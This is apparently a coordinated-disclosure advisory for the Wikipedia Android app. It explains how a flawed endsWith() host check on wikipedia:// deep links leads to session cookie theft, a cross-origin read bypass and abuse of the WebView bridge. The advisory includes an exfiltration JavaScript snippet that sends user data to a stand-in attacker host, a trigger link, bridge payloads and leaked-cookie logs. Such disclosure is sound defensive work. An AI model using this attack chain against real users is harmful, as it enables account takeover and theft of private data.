Coordinated Disclosure Timeline

Summary

The apps-android-wikipedia project in its latest version is vulnerable to improper host validation in the wikipedia:// deep link handler (GHSL-2026-101), potentially allowing attackers to exploit this flaw to steal session tokens and compromise user accounts.

Project

apps-android-wikipedia

Tested Version

latest

Details

The Wikipedia for Android app handles wikipedia:// deep links in MainActivity.handleIntent() by validating the URI authority with String.endsWith():

// MainActivity.kt:144
if (it.authority.orEmpty().endsWith(WikiSite.BASE_DOMAIN)) {
    val uri = Uri.parse(it.toString().replace("wikipedia://", WikiSite.DEFAULT_SCHEME + "://"))
    startActivity(Intent(this, PageActivity::class.java)
            .setAction(Intent.ACTION_VIEW)
            .setData(uri))
}

where WikiSite.BASE_DOMAIN is "wikipedia.org".

The endsWith() check does not verify a dot boundary (or exact match), so any domain ending with the literal string wikipedia.org passes validation — for example, evil-wikipedia.org or notwikipedia.org. The manifest declares the wikipedia:// scheme with BROWSABLE category and no host restriction:

<!-- AndroidManifest.xml:104-109 -->
<intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="wikipedia" />
</intent-filter>

This means any web page, QR code, NFC tag, or installed app can fire wikipedia://evil-wikipedia.org/wiki/Article and it will be delivered to the Wikipedia app directly. Because the Wikipedia app is the only handler for the wikipedia:// scheme, Android launches it with no disambiguation dialog — the user sees the Wikipedia app open normally.

This single entry-point bug chains into multiple independent impacts:


After passing the endsWith check, the URI is rewritten from wikipedia://evil-wikipedia.org/... to https://evil-wikipedia.org/... and passed to PageActivity. The WikiSite(uri) constructor preserves the attacker’s authority because evil-wikipedia.org has only 2 dot-separated parts, yielding languageCode = "". The subdomain-rewrite guard at line 82 (subdomain().isNotEmpty()) is false, so the authority remains evil-wikipedia.org.

ServiceFactory then builds the REST base URL from wiki.url() = https://evil-wikipedia.org, and all API requests are sent to the attacker’s server via OkHttpConnectionFactory.client, which has SharedPreferenceCookieManager attached as its cookie jar.

In loadForRequest(), stored cookies are matched using the same flawed endsWith pattern:

// SharedPreferenceCookieManager.kt:101
if (domain.endsWith(domainSpec)) {
    buildCookieList(cookieList, cookiesForDomainSpec, null)
}

Wikipedia’s CentralAuth cookies are stored under domainSpec = "wikipedia.org". Since "evil-wikipedia.org".endsWith("wikipedia.org") is true, all .wikipedia.org-scoped cookies are sent to the attacker, including:

These are global SSO cookies valid across every Wikimedia project (all Wikipedias, Commons, Wikidata, Meta, etc.).


Finding 2 (High): Same-Origin Policy Bypass — Authenticated Cross-Origin Read

The article WebView uses OkHttpWebViewClient which intercepts all http/https subresource requests via shouldInterceptRequest(), proxies them through the same OkHttpConnectionFactory.client (with the cookie jar), and then unconditionally injects Access-Control-Allow-Origin: * on every response:

// OkHttpWebViewClient.kt:135
private fun addResponseHeaders(headers: Headers): Headers {
    return headers.newBuilder().set("Access-Control-Allow-Origin", "*").build()
}

Because cookies are injected by OkHttp behind the WebView’s back (not via credentials: 'include'), the WebView treats these as non-credentialed requests. The wildcard CORS header passes. Attacker JavaScript running at https://evil-wikipedia.org can therefore fetch() authenticated Wikipedia API endpoints and read the response body:

// Running inside the Wikipedia app's WebView at https://evil-wikipedia.org:
fetch('https://en.wikipedia.org/w/api.php?action=query&meta=userinfo&uiprop=email|groups&format=json')
  .then(r => r.json())
  .then(data => {
    // data.query.userinfo contains: name, email, groups, registration date
    navigator.sendBeacon('https://evil-wikipedia.org/exfil', JSON.stringify(data));
  });

This allows the attacker to read the victim’s email address, user groups (sysop, bureaucrat, checkuser, etc.), watchlist, CSRF tokens, private drafts, and any other authenticated API data — all from attacker-controlled JavaScript, without the victim’s knowledge.


Finding 3 (Medium): Content Spoofing via Exposed @JavascriptInterface Bridge

The article WebView enables JavaScript and exposes a pcsClient @JavascriptInterface:

// CommunicationBridge.kt:52-56
communicationBridgeListener.webView.settings.javaScriptEnabled = true
communicationBridgeListener.webView.settings.allowUniversalAccessFromFileURLs = true
communicationBridgeListener.webView.addJavascriptInterface(PcsClientJavascriptInterface(), "pcsClient")

The attacker’s HTML is loaded into the same WebView that normally renders trusted Wikipedia PCS content. The entire article area is under attacker control while the surrounding native UI (toolbar, Wikipedia logo, save button, tabs) remains the real app — creating a convincing trusted context for phishing or misinformation.

The pcsClient bridge exposes two methods to attacker JS:

  1. pcsClient.getSetupSettings() — synchronously returns a JSON blob containing AccountUtil.groups (reveals if victim is sysop, checkuser, etc.), client version, theme, and preferences. This is an information disclosure that also enables target selection.

  2. pcsClient.onReceiveMessage(json) — drives native event handlers registered in PageFragment.setupMessageHandlers(). Attacker JS can dispatch:

    • {"action":"link", "data":{"href":"https://attacker.example/phish"}} → LinkHandler.onUrlClick() → UriUtil.visitInExternalBrowser() → startActivity(Intent(ACTION_VIEW, uri)) — opens arbitrary URLs in the default browser or fires implicit intents (including geo:, mailto:, Play Store links)
    • {"action":"pronunciation", "data":{"url":"https://attacker/track"}} → AvPlayer.play(url) — autoplay audio from attacker URL (tracking, annoyance)
    • {"action":"footer_item", "data":{"itemType":"talkPage"}} → opens Talk page activity with attacker-controlled WikiSite

Impact

Proof Of Concept

The following files are used for this exploit:

File Purpose
poc_server.py HTTPS listener that (1) logs leaked cookies from OkHttp requests, (2) serves a weaponized mobile-html page that triggers the PCS bridge handshake, demonstrates the SOP bypass, and exfiltrates data
attack.html Web-deliverable trigger page with <a href="wikipedia://evil-wikipedia.org/wiki/PoC"> links demonstrating the 1-click browser-to-app attack vector

First, we register a malicious domain. In this case, we use evil-wikipedia.org.

attack.html

<a class="big" href="wikipedia://evil-wikipedia.org/wiki/PoC">
  📖 Open this article in the Wikipedia app
</a>

A user is led to attack.html and asked to click a button, sending them to evil-wikipedia.org within the Android app. No confirmation dialog is presented after clicking.

poc_server.py

The vulnerable flow:
  wikipedia://evil-wikipedia.org/wiki/PoC
    -> MainActivity.handleIntent:  "evil-wikipedia.org".endsWith("wikipedia.org") == true
    -> rewritten to https://evil-wikipedia.org/wiki/PoC -> PageActivity
    -> WikiSite(uri) keeps authority = evil-wikipedia.org  (2 dot-parts -> languageCode="")
    -> ServiceFactory.getRest(wiki)  baseUrl = https://evil-wikipedia.org/api/rest_v1/
    -> OkHttp CookieJar.loadForRequest("evil-wikipedia.org"):
         domainSpec "wikipedia.org" in jar
         "evil-wikipedia.org".endsWith("wikipedia.org") == true
         -> ALL .wikipedia.org-scoped cookies attached, incl. centralauth_*

poc_server.py then hosts the javascript to attack the Android app. Its full contents are not in this report, but can be requested.

Observed Results

Cookie theft (Finding 1) — The server immediately logs all CentralAuth cookies:

==============================================================================
[+] GET /api/rest_v1/page/summary/PoC
    Host: evil-wikipedia.org

    >>> COOKIE LEAK <<<
      [!!!] centralauth_User=Kuzzs
      [!!!] centralauth_Token=xxxxxxxxxxxxxx
      [!!!] centralauth_Session=xxxxxxxxxxxx
==============================================================================

SOP bypass (Finding 2) — The injected JavaScript calls fetch('https://en.wikipedia.org/w/api.php?action=query&meta=userinfo&uiprop=email|groups|rights&format=json') and reads the authenticated response cross-origin:

##############################################################################
#  EXFIL from attacker JS inside the Wikipedia WebView
##############################################################################
{
  "batchcomplete": true,
  "query": {
    "userinfo": {
      "id": 53013219,
      "name": "Kuzzs",
      "groups": [
        "*",
        "user"
      ],
      "rights": [
        "createaccount",
        "read",
        "edit",
        "createtalk",
        "viewmyprivateinfo",
        ...
      ],
      "email": "[redacted]",
      "emailauthenticated": "2026-03-27T05:49:29Z",
      "registrationdate": "2026-03-27T05:49:10Z"
    }
  }
}
##############################################################################

Bridge info leak (Finding 3) — pcsClient.getSetupSettings() returns user groups and app configuration with zero interaction:

##############################################################################
#  EXFIL from attacker JS inside the Wikipedia WebView
##############################################################################
out-B
--- userGroups: ["*","user"] ---
{
  "platform": "android",
  "clientVersion": "50575-dev-2026-03-26",
  "userGroups": ["*", "user"],
  "isEditable": true,
  ...
}
##############################################################################

CVE

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-101 in any communication regarding this issue.